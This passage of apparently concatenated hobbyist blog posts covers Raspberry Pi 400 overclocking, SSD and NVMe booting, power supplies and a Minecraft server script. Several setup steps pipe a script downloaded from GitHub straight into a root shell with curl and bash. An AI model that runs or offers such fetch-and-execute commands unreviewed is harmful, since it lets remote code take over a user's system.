reviewed the official sticky post I linked in the previous section before jumping to this conclusion though. These things are not fragile and over all the years of running this blog it’s pretty amazing I’ve only killed 2 of them with the insane things I try on them all the time. I may be able to help if you want to leave a comment here with *exactly* what behavior you’re seeing when you try these procedures, when you plug it in with no SD card in it, when you plug it in with a SD card in it, any little details will help! Other Resources For headless configuration of your Raspberry Pi using the Pi Imager If you’re trying to setup USB mass storage booting (like with a SSD) check out my Raspberry Pi 4 Native USB Booting Guide If you want to see which Pi storage performs the fastest and get an idea of what kind of drives to look for check out my 2020’s Fastest Raspberry Pi 4 Storage Benchmarks If you have one of the new Raspberry Pi 400 kits *then don’t miss my Pi 400 Overclocking and SSD Setup Guide #### Raspberry Pi 400 Overclocking / NVMe SSD Setup Guide Raspberry Pi 400 Setup (in dark basement) w/ NVMe SSD The Raspberry Pi 400 is the first offering from the Raspberry Pi lineup that is meant to approach desktop level performance. The official raspberrypi.org site lists the Pi 400 kit as the “Raspberry Pi 400 Personal Computer Kit”. It comes in the very interesting form factor of a keyboard with all the ports right in the back! Although the performance on stock clock speeds and with a SD card is really exceptional, especially for a Raspberry Pi, I would not call it desktop class performance. Fortunately we *can* make it desktop class performance with a few tweaks! This guide will show how to overclock the Pi 400 as well as set it up with a NVMe SSD to get the maximum possible performance we can out of it! Table of Contents Toggle Hardware UsedOverclockingPower RequirementsEffects on Warranty (Read this!)Basic OverclockingFinding Maximum Overclock (without invalidating warranty / tripping security bit)Pi 400 SSD (NVMe or 2.5″ SATA) SetupPowering USB External StoragePreparing DriveFirst BootBenchmarking StorageOther Resources Hardware Used Raspberry Pi 400 Kit The Raspberry Pi 400 kit includes everything you need for a full Pi 400 desktop build. The Pi 400 is the fastest Raspberry Pi ever released and comes in the form factor of a keyboard! Links: AliExpress*, Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* Samsung 980 Pro NVMe SSD The Samsung 980 Pro (NVMe) is a professional grade SSD and one of the fastest in the world. The Samsung NVMe drives have been at the top of this category for a long time and are well trusted for both their performance and reliability / long life. Links: AliExpress*, Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* ASUS ROG Strix Enclosure If you really want to take things over the top the ASUS Rog Strix M.2 NVMe enclosure uses the latest USB 3.2 Gen2 specification, is RGB capable and works with the Pi! Unsurprisingly, adding the extra lighting does take extra power! A powered USB hub is also required for this enclosure. More widely available than the ICY BOX but tends to be on the expensive side. Links: AliExpress*, Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* Sabrent Powered USB 3.0 Hub The Sabrent powered USB hub delivers a whopping 2.5A of dedicated power for your USB attached devices. This is almost as much as the Pi adapter itself is rated for (3.0A). It will easily power the most thirsty of setups such as NVMe enclosures. Links: Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.uk*, Amazon.es*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se* Note: Make sure Amazon doesn’t try to take you to the non-powered version and that it’s the one with the AC adapter that plugs in to provide extra power Overclocking The stock clock speed for the Pi 400 is 1.8 GHz out of the box. This is a big jump from the Pi 4’s 1.5 GHz right out of the box. It also has plenty of headroom for overclocking! Exactly how much headroom your specific Pi 400 will have will depend on how lucky you got in the “silicon lottery” since each chip produced has a varying overclocking potential as well as having a stable high quality power source (both the adapter and at the wall). Power Requirements If you got the Pi 400 kit* it comes with the high quality official Raspberry Pi power supply* so you should be covered on the power adapter. The only other thing to consider is your power source “at the wall”. As long as you aren’t plugging it into a really dirty or unstable power source such as a building with known bad wiring / a failing overextend power strip you should be okay. Attaching additional USB accessories also draws from the Pi’s available power so be careful attaching too many power drawing accessories. For high power drawing SSDs you may need a powered USB hub* but we’ll cover that later in the SSD section. For initial configuration I recommend plugging in as few accessories as possible to keep the power drain on the Pi low while you make sure everything else is stable under normal conditions before attaching your power drawing devices. These can interact with your overclocks! Effects on Warranty (Read this!) Before you go any further you should understand the effect that overclocking can have on your Pi’s warranty. From the Raspberry Pi documentation on overclocking: NOTE: Setting any overclocking parameters to values other than those used by raspi-config may set a permanent bit within the SoC, making it possible to detect that your Pi has been overclocked. The specific circumstances where the overclock bit is set are if force_turbo is set to 1 and any of the over_voltage_* options are set to a value > 0. Basically using the option “force_turbo=1” combined with “over_voltage” > 0 will set the overclocking sticky bit. This could cause headaches if you were trying to get a warranty replacement from your reseller as an example. So just don’t use “force_turbo=1” and you’re all set, right? Yes, except there’s a catch. Without the force_turbo option the maximum value you can use for over_voltage is 6. This means if you want to go to the absolute top limits your Pi could potentially hit you will need to trigger the sticky bit. I personally did not void mine to write this guide and never went above 6 before I hit an overclock I was satisfied with (more on that later) but I wanted to clarify what is/isn’t allowed according to the Pi Foundation before we start changing things and your Pi gets “flagged” with the naughty “extreme” overclocker sticky bit. Now would be a good time to make sure you don’t happen to have force_turbo=1 in your config.txt already before we set over_voltage in the next section if you want to make sure you don’t get flagged. It is the combination of the two together that triggers it! Basic Overclocking Since every Pi 400 will have different overclocking potential it’s best to think of these steps as a process to narrow down the best values for your specific Pi. I will give the numbers I was able to achieve on mine as a guideline but yours will be slightly and may even be wildly different. The important part is if you follow the process and narrow it down you will find the right numbers for your Pi! There are two important parameters in the Pi’s /boot/config.txt file we’ll be adding/editing to adjust our CPU overclock (with their default values for the Pi 400): arm_freq=1800 over_voltage=0 arm_freq is the Pi’s CPU frequency. The name of the parameter is due to the Pi having an ARM type processor and this parameter represents the frequency in MHz that the processor runs at. The second parameter is a little bit more self explanatory. It allows more voltage to flow the Pi than is normally allowed up to a maximum of 6 and is relatively safe to that point (theoretically higher voltage can reduce the life and wear on the device but 6 is not getting into dangerous territory yet and won’t even void the warranty/set the overclock bit). As we discussed in the previous section to go higher than 6 you have to set the flag force_turbo=1 which will set the sticky bit that your Pi has been “overclocked” permanently. Definitely don’t do this and leave force_turbo out of your config for now. Remove it if it is in there already. If you want to go higher later you can but I recommend seeing what your board can do within the safe “approved” limits first. Before we start understand that this is a trial and error process. Take a backup of your existing config.txt file before beginning. If we pick a bad set of overclock parameters your Pi will often not even boot until you correct it from another PC. The easiest way to fix this is to put your SD card into a different device and edit /boot/config.txt and set the parameters back to something more reasonable / restore a backup version / etc. I know some of you reading may not have a PC available despite having your Pi so if this is the case I would wait or make sure you have some way to restore config.txt back if we set an overclock that won’t boot! For now let’s start with a 200 MHz overclock and try for a nice round 2.0 GHz. Let’s set the over_voltage to 6. On my Pi 400 I initially tried an over_voltage of 2 and it would not boot at all. I bumped it up to 4 in the config.txt file and was able to get a stable boot. I then adjusted it to 3 and was able to boot but got lockups a couple of times per hour (a working but unstable overclock). I would recommend just going straight to 6 for testing the overclockability of your board. Once you find the optimal frequencies with your board you can try stepping down the voltage afterward working from those. We are going to edit config.txt. To edit it on the Pi open a terminal window and type: sudo nano /boot/config.txt This will open your Pi’s configuration file. If this is your first time editing the file arm_freq and over_voltage will typically be commented out/missing completely. This is fine, we are just going to add them ourselves with the rest of our parameters that aren’t commented out. Here’s what mine ended up looking like: # Enable audio (loads snd_bcm2835) dtparam=audio=on over_voltage=6 arm_freq=2000 [pi4] # Enable DRM VC4 V3D driver on top of the dispmanx display stack dtoverlay=vc4-fkms-v3d max_framebuffers=2 [all] dtoverlay=vc4-fkms-v3d Note that I did not add the parameters in the [pi4] or [all] sections. Let’s add it with the rest of the global parameters like right after your audio is enabled as these are essentially applying hardware-level operational changes just like enabling/disabling the audio device is. Now press Ctrl+X to save the file and answer “y” to the prompt asking whether to save the changes. The nano application will close and the Pi is ready to be restarted. You can do this with a “sudo reboot”. If all goes well you will boot up and the overclock will be applied! If it won’t boot edit your config.txt on another device and try upping the over_voltage parameter to 6 and see if it can boot with the maximum voltage at 2.0 GHz. Most of you should be able to hit this speed unless you were particularly unlucky in the silicon lottery or are possibly having issues with your power setup either at the adapter or at the wall. Finding Maximum Overclock (without invalidating warranty / tripping security bit) Finding the maximum stable overclock is pretty simple to explain after everything we’ve covered so far. Make sure you have over_voltage set to 6, the maximum value allowed without enabling force_turbo and tripping the permanent “overclocked” security flag. From there we will increase our overclock and then use the system for a little bit to watch for lockups or other signs of instability. Make sure you try things like browsing the internet or other activities that will work the SSD and the CPU to make sure that you are in fact on a stable overclock! If you are getting random lockups or it won’t start up some of the time then reduce the overclock or increase the over_voltage. Pi 400 SSD (NVMe or 2.5″ SATA) Setup In order to reach desktop level performance we are going to need desktop class storage. The full Pi 400 kit gives you everything you need except for this. The included kit comes with a application class (A1) card. While this is a great card and feels great to use with the stock setup it is *not* desktop class performance and even the best SD card in the world is not a desktop class device and could never really compare to a NVME drive or even 2.5″ SATA SSD. Fortunately the Pi 400 released with support for USB mass storage booting (MSB) support right from launch. This means that if you have a portable SSD or have old SSDs laying around you pretty much have everything you need (as long as you have a storage adapter or your portable drive is USB). You can see all the equipment I used in my setup to write this guide in the “Equipment Used” section. Powering USB External Storage Power considerations are extremely important when setting up a USB powered drive with a Pi 400. Unfortunately the Raspberry Pi foundation gave it the exact same 3.0A power supply that the Pi 4 takes. This really doesn’t give us very much to work with when it comes to powering externally powered devices attached to the Pi. NVMe enclosures nearly always will require a powered USB hub. Symptoms of not having enough power for your storage will include not booting at all or only booting sometimes but then usually locking up soon afterward. Preparing Drive If you already have a image downloaded and are already ready to write it using your preferred method then you can go ahead and image your drive now the exact same way you would prepare a SD card and skip to the next section. With the new bootloader support that comes included with the Pi 400 we don’t need to do anything more than this. If you don’t have an image yet or are just using the OS that came on the Pi’s SD card I highly recommend using the official Pi Imager tool available here. It’s available for every operating system and it catches and prevents a lot of really frustrating and hard to diagnose issues that can come up when preparing and imaging drives. It looks like this: Raspberry Pi Imager – Main Menu Once you’ve downloaded and ran the Pi Imager tool select the OS option you’d like to use. I recommend doing the 64 bit Raspberry Pi desktop option on the Pi 400 and taking adantage of the 64 bit capabilities. Other options like Ubuntu are also available (I recommend the newest version available for Ubuntu to avoid problems, 20.10 at time of writing works better than 20.04). Next plug your USB external drive into the computer and it will show up as an available option when you click the “Choose SD card” option. Don’t worry about it saying the “SD card” part, every one of my external drives has shown up anyway. Finally go ahead and click third and final “Write” button. If your drive doesn’t show you can always image it the old fashioned way using your favorite image writing utility but I have had nothing but great experiences with the official Pi Imager tool. Nevertheless, I have heard of issues like compatibility with Lint Minux in the past and other similar very specific configuration related / version issues breaking the utility. If you are having trouble with the utility the old fashioned way will still work whether that’s a utility like Etcher or dropping all the way down to the command line and using dd. First Boot Once you’ve prepared the drive shut down your Pi 400 and remove the SD card from the slot. Leave only your SSD plugged in. When you connect the power you may / may not see it resize your file system to the drive’s free space initially and then it will boot into your OS. Give it at least a good 60 seconds before you assume it hasn’t worked as the first boot can take a bit longer due to the initial “first boot” steps. Benchmarking Storage A quick way to verify everything is working correctly and you’re getting proper performance is to run my quick Raspberry Pi Storage Benchmark. You can run it with this one liner: sudo curl https://raw.githubusercontent.com/TheRemote/PiBenchmarks/master/Storage.sh | sudo bash This will run a few quick standard tests (DD write speed, iozone, fio) and give you a cumulative score. You can compare it with mine or you can compare it with others at Pi Benchmarks. There are thousands of benchmarks already to compare with to give you an idea of whether you are getting the performance you should out of your drive! Here were my results: Raspberry Pi NVMe SSD Benchmark Results You can also view the result on my storage benchmark results site at Pi Benchmarks – #41663 Other Resources If you are having trouble with your firmware or think your firmware may be causing an issue check out my firmware update / restore guide For a lot more information about setting up USB booting as well as troubleshooting / which adapters work and don’t work check out my new Raspberry Pi USB boot guide here If you are trying to USB boot Ubuntu (especially Ubuntu Server) you may want to check out my Ubuntu Native USB boot guide as well! #### Raspberry Pi Cheap SSD Upgrade Guide I’ve covered the benefits of taking your Raspberry Pi to a solid state drive (SSD) before extensively in this article but in a nutshell you get around a 280% increase in raw throughput and a 1000% increase in 4k random read/writes over a MicroSD card. That’s fantastic but SSDs have traditionally been very expensive costing you as much as 4+ Raspberry Pis so it seemed silly to use a drive like that as Pi storage. Until now. SSD now cheaper than Micro SD cards That’s right. Thanks to technologies such as 3D NAND flash solid state drives for consumers have now become cheaper than mid-high range MicroSD cards. With 10x the performance of MicroSD cards they are now a no-brainer upgrade for servers or IO intensive Raspberry Pi projects. Table of Contents Toggle Why Choose SSD?Which SSD to Buy?Compact SSD OptionsOther SSD OptionsPower RequirementsInsufficient Power SymptomsPowered USB Hub SolutionOversized Power Adapter SolutionPower LimitsPowered USB Hub TroubleshootingBenchmarking / Testing StorageCreate Bootable DrivePrevent High CPU UsageSSD With Raspberry Pi 4SSD With Raspberry Pi 3SSD with Raspberry Pi 1 / 2 / Zero WConclusionOther Resources Why Choose SSD? MicroSD cards were not designed to serve as living storage for operating systems. They are designed for devices such as cameras and smart phones that need to write and reliably store data. They’re very good at this and some cards have excellent throughput fast enough to even record 4K video. But one thing they are not good at is 4k random writes and rewrites. These are small writes throughout a disk and consist of about 25% of all hard drive activity on a computer. Almost every action you take and even routine log file updates trigger these updates so they are very important for performance. To show you the difference in performance I have developed a benchmark that anyone can run and uploads the results to the site. Click here to see benchmark results. As you can see all of the top spots in the results are held by solid state drives. Further, solid state drives beat the fastest MicroSD cards by about 300%. MicroSD performance varied wildly based on quality of the card. But even the very best and most expensive MicroSD cards got absolutely destroyed by even the cheapest solid state drives. This is because SSDs are so fast that they are limited by the speed of the Raspberry Pi’s USB 2.0 ports. Solid state drives also have very large write caches. This lets your Raspberry Pi push data to the drive and start doing other things and let the drive itself figure out how to organize the data. Much of the throughput and other performance differences in the above chart are because of much better and faster read/write caching. Which SSD to Buy? Several contenders for the RPI storage benchmarks Since all models and types of solid state drives hit the Raspberry Pi’s USB 2.0 transfer speed limit you should buy the cheapest one that fits your needs! If your Raspberry Pi is mostly stationary it’s easiest and cheapest to just use a normal 2.5″ SATA SSD with a USB adapter. Here’s my recommendation: Kingston A400 2.5″ SATA SSD The Kingston A400 has been a great drive to use with the Pi for years. It’s reliable, widely available around the world, has low power requirements and performs very well. It’s also very affordable. This drive has been benchmarked over 1000 times at pibenchmarks.com and is the #1 most popular SSD among the Pi community! Links: AliExpress*, Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* The Kingston A400 drive performs really well in the Raspberry Pi Storage Benchmarks. It’s a great drive and is cheaper than many mid-range MicroSD cards. Another popular choice is the Crucial BX500 which you can sometimes find in a very cheap 120GB version: StarTech 2.5″ SATA to USB 3.1 Adapter The USB 3.1 variant of the StarTech 2.5″ SATA adapter works well with the Pi 4. The USB 3.0 variant doesn’t have firmware updates available and is not recommended. Links: Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* The 2.5″ SATA to USB adapter above allows us to connect a drive like this to our Pi using USB. There is no power adapter needed as 2.5″ SSDs using adapters are low power and are powered by the Pi through USB. Be careful with enclosures as they tend to take a bit more power (especially for NVMe, see “Power Requirements” section below). Compact SSD Options If you move your Pi around a lot or need something more compact there are a couple of options. These eliminate having any extra cables as they plug directly into the USB slot. SanDisk Extreme Pro SSD The SanDisk Extreme Pro USB SSD is a true solid state drive. This is different than a typical “flash drive” which uses extremely cheap memory and has very low random I/O performance/throughput compared to a real solid state drive. I’ve used both the USB 3.1 and USB 3.2 variants with the Pi successfully and they benchmark very well! Links: AliExpress*, Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* There are some flash drives (a very small number) that are actually real solid state drives. The SanDisk Extreme Pro is the most popular one on Pi Benchmarks. You have to be extremely careful when looking for these as 99.9% of flash drives are NOT solid states. The SanDisk Extreme Pro is a true solid state. The cheaper SanDisk Extreme and Extreme Gos are not (needs to be the pro). If you are looking at a USB style drive and they don’t explicitly state it’s a solid state drive then it definitely isn’t! Other SSD Options There are many other types of SSDs and storage adapters you can use. For example, there is an older type of drive technology called mini-SATA or mSATA that can be found in a lot of old laptops or bought for very very cheap. I wrote an article on mSATA to USB 3.0 storage adapters here covering these. There are also extensive M.2 NVME to USB 3.0 and M.2 SATA to USB 3.0 options available as well. You can build a M.2 SATA or M.2 NVME SSD but you need to be careful with which type of M.2 drive you have/buy. They can be B-key, M-key, or M+B keyed. By far the most common and cheap ones are SATA with a B or B+M key. The adapter I have is this one.* For a full overview of different available options check out my Raspberry Pi 4 USB Mass Storage Device Booting Guide where collectively as a community we’ve compiled the best list we can of working and nonworking adapters. Power Requirements Most types of adapters can be powered by the Pi itself. One notable exception is NVMe enclosures. Throughout the years we have had hundreds of comments from people who had no trouble powering 2.5″ SATA enclosures but couldn’t get a NVMe one to work at all without a powered USB hub. Very large older 3.5″ SATA drives are known to require more power than the Pi can provide as well as some types of very high performance models that were designed to burn more power to get extra performance gains. For solid state storage older models of solid state drives (SSDs) are also known to draw more power than their newer counterparts. If you have a drive that you think may fall into this category then definitely be on the lookout for power related issues and extra cautious about your power setup. High end “extreme” performance models also tend to draw more power (Samsung 970 NVMe drives* are some of the fastest in the world but also pretty power hungry for the Pi). Insufficient Power Symptoms Symptoms of a lack of power to the drive can include the system only booting sometimes (or not at all) or working for a while and then locking up. Just because the drive boots does not mean it is getting enough power. Some commenters on previous articles have described this as working fine until there was a sudden spike in CPU usage while they tried to do several things at once (high CPU, accessing storage, activating various hardware all at once) and then they would get a lockup/crash. This is because the Pi is teetering on the edge of not having enough power and that spike caused it to drop enough where the drive actually lost power (likely only for tiny fractions of a second). This is enough instability to easily cause a crash and worse if it happened to be in the middle of writing something important! Usually nothing will happen other than you’ll have to restart the Pi but because of the risk of data loss and eventually corrupting files. That being said, if you’re particularly unlucky you will have to fsck the drive or potentially even reimage it if fsck is unable to repair the damage! The best answer is to test for stability. Do this by stressing out the Pi and make sure you are doing activities that stress the CPU and storage at the same time like browsing the web, etc. and if you can do that for a few hours/days without a lockup/crash then you have a stable power setup! Powered USB Hub Solution For NVMe enclosures and power hungry drives I personally use this Sabrent powered USB hub and have been recommending it here on the blog for a long time: Sabrent Powered USB 3.0 Hub The Sabrent powered USB hub delivers a whopping 2.5A of dedicated power for your USB attached devices. This is almost as much as the Pi adapter itself is rated for (3.0A). It will easily power the most thirsty of setups such as NVMe enclosures. Links: Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.uk*, Amazon.es*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se* Note: Make sure Amazon doesn’t try to take you to the non-powered version and that it’s the one with the AC adapter that plugs in to provide extra power If this hub isn’t an option for you and you don’t have one already you can try with it then look in the reviews for people saying that it is working with Raspberry Pi. Some powered USB hubs will not play nice with the Pi so before buying one definitely check reviews and do some careful research about what to expect with the Raspberry Pi! Oversized Power Adapter Solution This solution will work for setups that are right on the border of having enough and not having enough power. An example would be if you can get a stable boot but are getting occasional lockups/freezes when the power dips just below the threshold it needs. If you are using a powerful NVMe drive/enclosure combo like the ICY BOX with a high performance Samsung NVMe drive even with the extra 500 mA it will still not even boot. I have had these oversized adapters and they are great but for a very powerful drive/adapter combination you are going to need more than 500 mA. CanaKit 3.5A Power Adapter The CanaKit 3.5A adapter has an extra half an amp (500 mA) of capacity to give some breathing room to your accessories. This is bigger than the official Pi power supply which provides 3.0A. Links: Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.sg* It’s a lot less extra wires and one less AC plug though if you are right on the border and just need a little bit more. It will depend on your individual drive/adapter combo whether it’s enough or you will have to go full powered USB hub! In previous articles readers have told me that this specific adapter can be hard to find outside of North America. I tried to link to as many regions as I could find it in but there should be something equivalent in your region (it just likely won’t be specifically designed for the Pi but will be a more generic USB-C charger). Look for a USB-C power supply rated to supply around 3.5A. 3.0A or lower won’t do much good as that is almost certainly what you already are using. You can use a higher one (at your own risk). The largest one I’ve ever used is my Dell laptop’s 30W USB-C power adapter. It’s probably not a good idea to go too much bigger than this or to even use one this big over the long term (I didn’t, just for occasional testing and as a emergency backup) but USB-C does have some specification improvements related to power management that seem to provide some flexibility here. Power Limits The Pi can only pass through a limited amount of extra power. On the Pi 4 this is up to 1.2A of extra power for peripherals (combined) on top of the board’s 3.0A power rating. This is much more than the Pi 2 and some other previous models could do which was only around 0.5A. This also means that getting a power adapter bigger than about 4.2A of rated current is pointless because the Pi won’t allow any more power to flow through to the board to the peripherals through USB anyway even if it’s available. I’m oversimplifying a little bit to illustrate the point but if you want the full technical details they are available here in the Raspberry Pi USB documentation. The important takeaway is that going much above 3.5-4.0A or so will not actually provide any more power to the Pi because of these limits. If you’ve hit this ceiling and it still isn’t enough you need to go powered USB hub. I’ve also used ones that charge cell phones to power Pis before and these ones are the most likely to fall into a range close to what the Pi uses. Most of the ones I had around the house for phones were 2.5A (just barely not enough) or 3.0A so it was enough for a backup spare but not enough to provide extra power. Nevertheless, it’s definitely worth it to check what you already have around and see if there are USB-C chargers around to test with! Note that a powered USB hub essentially bypasses these limits because the power for your peripherals such as your USB storage will come from the AC adapter connection to the powered USB hub instead of the Pi having to provide that power. Powered USB Hub Troubleshooting Most hubs including the Sabrent one above can feed back power into the Pi which can cause it to not boot when the power is connected. The reason for this is that the Pi is detecting power and is trying to power on using that source but the current provided isn’t enough for the Pi to actually boot. The solution to this is to remove the USB hub’s connection from your Pi momentarily and then connect the power. Plug your USB hub back in quickly after reconnecting the Pi’s power (if you have native USB booting set up) and unless you really fumble with reconnecting it you will have it plugged in well before it tries to boot from the SSD! If this trick doesn’t work then unfortunately you may have a powered USB hub that is not going to work with the Pi. It’s worth checking to see if there are any firmware updates available for your USB hub before you give up on it as some readers have let me know in the comments of previous articles that they were able to get some hubs working after a firmware upgrade! Benchmarking / Testing Storage If you’re getting poor performance or just want to verify everything is working correctly you may want to run my storage benchmark with: sudo curl https://raw.githubusercontent.com/TheRemote/PiBenchmarks/master/Storage.sh | sudo bash If you search for the model of your drive on Pi Benchmarks you can compare your score with others and make sure the drive is performing correctly! Create Bootable Drive Creating your bootable drive is also very easy. You simply image it the same way you would image a blank MicroSD. I use Win32DiskImager and simply select the USB attached drive just like you would with a MicroSD card and write the image. It’s very easy! Don’t forget to place an empty “ssh” file in the /boot directory if you want to connect via SSH. Prevent High CPU Usage There is an issue where using a solid state drive will cause kworker to consume around 1-10% of your CPU all of the time. This is due to the Pi polling constantly for a Micro SD card to be inserted. There are two ways to fix this. One is to insert a blank Micro SD card in the Micro SD slot and leave it there all the time. The other is to add a line to your /boot/config.txt. Open up config.txt and add the following: dtparam=sd_poll_once This option will tell the Pi to only check for a Micro SD card once at bootup. This means if you want to access the card it needs to be in the Pi before it boots up. I also wrote a complete guide on this very issue that is available here: Fix ~% CPU Usage When SSD Booting with Raspberry Pi SSD With Raspberry Pi 4 The Raspberry Pi 4 did not originally support USB booting at launch unlike the previous Pi 3 models did. This is because they actually added a physical EEPROM firmware storage chip into the board. Due to this I previously published a workaround for how to set up USB booting using a SD card as a bootloader. Fortunately the native support has finally been released for USB booting on the Pi 4. I cover how to upgrade to the new firmware and enable native USB booting extensively in my new Raspberry Pi 4 USB Booting Guide (recommended). If you aren’t sure which SSD / storage adapter to get I have an extensive guide available here: Raspberry Pi 4 / 400 Storage Adapter Guide SSD With Raspberry Pi 3 Once you have chosen your SSD it is time to configure the Raspberry Pi to boot off USB storage. Fortunately this is extremely simple. To enable booting from USB storage simply boot up your Raspberry Pi and run this command: echo program_usb_boot_mode=1 | sudo tee -a /boot/config.txt Alternatively you can put your MicroSD into your computer and open /boot/config.txt and add the line: program_usb_boot_mode=1 Now reboot your Pi and USB boot support will be permanently enabled. This only needs to be done once per Raspberry Pi as the change is permanent. You may now remove the Micro SD card altogether and plug in your external storage you prepared in the previous section. Power up the Pi and it will boot directly from the USB storage! SSD with Raspberry Pi 1 / 2 / Zero W The older Pi family and the Zero / Zero W also support USB booting with a small catch. You still need to have a Micro SD card inserted in the Pi with only one file on (bootcode.bin). This is because these Pis use the older BCM2835 which is a Micro SD only bootloader. The good news is that if we put a otherwise blank Micro SD card in there with this file the Pi can boot from USB storage just fine and take full advantage of the increased speed and storage size. Bootcode.bin basically provides the instructions to the Pi telling it how to boot from USB. First you will format your Micro SD card as FAT32 . FAT32 is the partition type that the Pi bootloader can read and is the same format as the /boot/ partition on a fully imaged Pi card. Next grab the latest bootcode.bin from the official Raspberry Pi repository at bootcode.bin in official Raspberry Pi GitHub Repository Copy the bootcode.bin file onto your newly created and otherwise blank FAT32 imaged Micro SD card and then insert the Micro SD card back into the Raspberry Pi. Now connect your USB storage back to the Pi and power it on. The Pi will boot directly from your USB storage device! Conclusion A solid state drive is the biggest upgrade you can give your Pi. When I am configuring my Minecraft Raspberry Pi servers the performance difference is night and day. They boot faster, respond faster and write/read much faster. It’s very difficult to go back to MicroSD after using one of these with your Pi. I highly recommend running the benchmark for yourself to get an idea of how much performance you can gain! Other Resources If you’re looking for a guide on setting up SSD booting with your Pi check out my Pi 4 Native USB Mass Storage Device Booting Guide If you want to find out the best storage adapters and SSDs for the Pi check out the Best Storage Adapters for the Raspberry Pi 4 / 400 For fixing storage adapters / improving performance with firmware updates: Fixing Storage Adapters for Raspberry Pi with Firmware Updates If you have one of the new Raspberry Pi 400 kits *then don’t miss my Pi 400 Overclocking and SSD Setup Guide #### Raspberry Pi Minecraft Script 1.16.1 Update Released! Minecraft Nether Update Hello everyone! It has been a crazy 2020 so far and I’m way behind on articles, pull requests, issues, etc. But even in these crazy times I do have some good news: the 1.16 Minecraft update has been released and I have updated my Minecraft setup/server management script for Raspberry Pi! Table of Contents Toggle InstallationUpgradingDowngradingInstallationSupport Installation I highly recommend using Docker over the standalone version for most people. Installing Docker is as simple as sudo apt install docker.io. There are 3 Docker options available: The Docker version that has Geyser + Floodgate installed (allowing people running Minecraft Bedrock Edition such as on iOS, Android, and console to connect)The Docker version that runs the Purpur Minecraft server with Geyser + Floodgate installed (allowing people running Minecraft Bedrock Edition to connect)The Docker version that only includes the Paper Minecraft server (the same as this standalone version) If you don’t yet have my Raspberry Pi Minecraft setup script visit the Raspberry Pi Minecraft Server Installation Script / Setup Guide to get it! You can change the version here to whatever you want as long as it’s supported by the Paper Minecraft server. Upgrading PLEASE BACK UP YOUR SERVER FIRST! The server makes automated backups by default for you in the backups folder but I recommend you back up the entire server folder yourself (basically the entire minecraft folder) any time you attempt to upgrade or downgrade. If you need to roll back to older versions it won’t work without a backup from that version or older! The easiest way to upgrade an installation is to download the latest SetupMinecraft.sh and run it. This will automatically upgrade you to the latest version. Upgrading and downgrading to versions that aren’t the default the script chooses is pretty simple. Simply change the Version line at the top in the SetupMinecraft.sh script: #!/bin/bash# Minecraft Server Installation Script - James A. Chambers - https://jamesachambers.com# More information at https://jamesachambers.com/raspberry-pi-minecraft-server-script-with-startup-service/# GitHub Repository: https://github.com/TheRemote/RaspberryPiMinecraft# Minecraft server versionVersion="1.16.1" Edit this file in your favorite text editor (you can use nano or vi on the Pi like nano SetupMinecraft.sh) and change the Minecraft version to what you want. Downgrading PLEASE RESTORE USING A BACK UP FROM THE VERSION YOU ARE DOWNGRADING TO If you are having problems on a newer version of Minecraft and want to downgrade you can do so using a complete backup of your server before you ran it on a newer version. The reason you can’t take server data that has been touched by a version such as 1.16.1 and go back to 1.15 is that the new version adds all sorts of new data types/structures for the new content into your server data files. If you try to roll back the old versions of the Minecraft server will not understand these data types since they didn’t exist in that version and will crash. As long as you use a backup for your server files from that version (or older) it’s as simple as changing the version in SetupMinecraft.sh just like I show in the “Upgrading” section. You can upgrade any old version of Minecraft to any version, but again make sure you have a backup first as it is a one way street and you will need that backup if you want to roll back! Installation curl https://raw.githubusercontent.com/TheRemote/RaspberryPiMinecraft/master/SetupMinecraft.sh | bash Support The best place for support is the comments section of my post at my main post here. There’s a ton of awesome and helpful people in the comments section and hundreds of existing comments that may answer your questions. There is also the GitHub repository at the RaspberryPiMinecraft GitHub project page where you can open an issue. This is especially good if you thing you have found a bug or have a new feature to contribute! #### Raspberry Pi Minecraft Server 1.13.2 / 1.14.4 Installation Script / Optimization Guide Many things have changed since I wrote my last Raspberry Pi Minecraft Server guide.  OpenJDK is now the better supported Java for Raspberry Pi and Oracle has discontinued support for Java 8 in January 2019.  Java 11 is out and offers a ton of performance improvements.  The Raspberry Pi 4* has also arrived!  After testing the server on the 4B 2GB version using OpenJDK 11 I was blown away by the performance and decided to write an updated guide and a script that will have you up and running in minutes. To give you a taste of how smooth the timings are in OpenJDK 11 headless using the Paper Spigot Minecraft Server here is a nearly 2 hour session I played with my girlfriend.  This was played in survival mode on a brand new server so no blocks had been pregenerated and no settings were modified from the defaults.  Nothing is overclocked except the SD card.  There was even a village right by the spawn so many entities were in use.  Here’s the timings output report: Raspberry Pi 3B+ Minecraft Server Timings Raspberry Pi 3B+ Minecraft Config Table of Contents Toggle RPI Minecraft Server RequirementsMinecraft Server Setup ScriptPi Specific Performance Optimizations: Storage and GPU MemoryMinecraft Optimizations – The Timings ToolCorrectly Interpreting TimingsApplying OptimizationsBenchmarking / Testing StorageConclusion RPI Minecraft Server Requirements Raspberry Pi 4 The Raspberry Pi 4 is available in different memory configurations all the way up to 8 GB. It’s about the size of a credit card and uses 